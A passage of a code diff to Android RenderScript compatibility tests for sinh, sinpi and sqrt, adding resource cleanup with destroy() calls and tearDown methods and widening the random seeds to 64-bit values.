+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x20bbe226bda70dd1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testSinhFloatFloat(inV, out);
             verifyResultsSinhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSinhFloatFloat(inV, out);
             verifyResultsSinhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkSinhFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x900d0b6dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6cdf1f16900d0b6dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testSinhFloat2Float2(inV, out);
             verifyResultsSinhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSinhFloat2Float2(inV, out);
             verifyResultsSinhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkSinhFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x86282c4bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6ce0e83186282c4bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testSinhFloat3Float3(inV, out);
             verifyResultsSinhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSinhFloat3Float3(inV, out);
             verifyResultsSinhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkSinhFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7c434d29l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6ce2b14c7c434d29l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testSinhFloat4Float4(inV, out);
             verifyResultsSinhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSinhFloat4Float4(inV, out);
             verifyResultsSinhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkSinhHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xccb47b43l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7f807fb0ccb47b43l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testSinhHalfHalf(inV, out);
             verifyResultsSinhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSinhHalfHalf(inV, out);
             verifyResultsSinhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkSinhHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2ac5550dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe71953da2ac5550dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testSinhHalf2Half2(inV, out);
             verifyResultsSinhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSinhHalf2Half2(inV, out);
             verifyResultsSinhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkSinhHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x89cd1a01l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe7195e7b89cd1a01l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testSinhHalf3Half3(inV, out);
             verifyResultsSinhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSinhHalf3Half3(inV, out);
             verifyResultsSinhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkSinhHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe8d4def5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe719691ce8d4def5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testSinhHalf4Half4(inV, out);
             verifyResultsSinhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSinhHalf4Half4(inV, out);
             verifyResultsSinhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.java
index 2de4c4c..1992275 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestSinpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkSinpiFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdfd6b42cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xde281c14dfd6b42cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testSinpiFloatFloat(inV, out);
             verifyResultsSinpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiFloatFloat(inV, out);
             verifyResultsSinpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkSinpiFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7a3592b0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8f8d880b7a3592b0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testSinpiFloat2Float2(inV, out);
             verifyResultsSinpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiFloat2Float2(inV, out);
             verifyResultsSinpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkSinpiFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7050b38el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8f8f51267050b38el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testSinpiFloat3Float3(inV, out);
             verifyResultsSinpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiFloat3Float3(inV, out);
             verifyResultsSinpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkSinpiFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x666bd46cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8f911a41666bd46cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testSinpiFloat4Float4(inV, out);
             verifyResultsSinpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiFloat4Float4(inV, out);
             verifyResultsSinpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkSinpiHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4cee6176l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x610198814cee6176l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testSinpiHalfHalf(inV, out);
             verifyResultsSinpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiHalfHalf(inV, out);
             verifyResultsSinpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkSinpiHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4cf4fb68l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa4858dc84cf4fb68l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testSinpiHalf2Half2(inV, out);
             verifyResultsSinpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiHalf2Half2(inV, out);
             verifyResultsSinpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkSinpiHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xabfcc05cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa4859869abfcc05cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testSinpiHalf3Half3(inV, out);
             verifyResultsSinpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiHalf3Half3(inV, out);
             verifyResultsSinpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkSinpiHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb048550l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa485a30b0b048550l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testSinpiHalf4Half4(inV, out);
             verifyResultsSinpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSinpiHalf4Half4(inV, out);
             verifyResultsSinpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.java
index c7736c5..2266c3e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSqrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestSqrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkSqrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd07c9951l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdd88d60ed07c9951l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testSqrtFloatFloat(inV, out);
             verifyResultsSqrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtFloatFloat(inV, out);
             verifyResultsSqrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkSqrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x98699aedl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x112cc64698699aedl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testSqrtFloat2Float2(inV, out);
             verifyResultsSqrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtFloat2Float2(inV, out);
             verifyResultsSqrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkSqrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8e84bbcbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x112e8f618e84bbcbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testSqrtFloat3Float3(inV, out);
             verifyResultsSqrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtFloat3Float3(inV, out);
             verifyResultsSqrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkSqrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x849fdca9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1130587c849fdca9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testSqrtFloat4Float4(inV, out);
             verifyResultsSqrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtFloat4Float4(inV, out);
             verifyResultsSqrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkSqrtHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa1eee2c3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf21ad8b5a1eee2c3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testSqrtHalfHalf(inV, out);
             verifyResultsSqrtHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtHalfHalf(inV, out);
             verifyResultsSqrtHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkSqrtHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3d9ae08dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa3e647c23d9ae08dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testSqrtHalf2Half2(inV, out);
             verifyResultsSqrtHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtHalf2Half2(inV, out);
             verifyResultsSqrtHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkSqrtHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9ca2a581l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa3e652639ca2a581l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testSqrtHalf3Half3(inV, out);
             verifyResultsSqrtHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtHalf3Half3(inV, out);
             verifyResultsSqrtHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkSqrtHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfbaa6a75l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa3e65d04fbaa6a75l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testSqrtHalf4Half4(inV, out);
             verifyResultsSqrtHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSqrtHalf4Half4(inV, out);
             verifyResultsSqrtHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSqrtHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSqrtHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.java
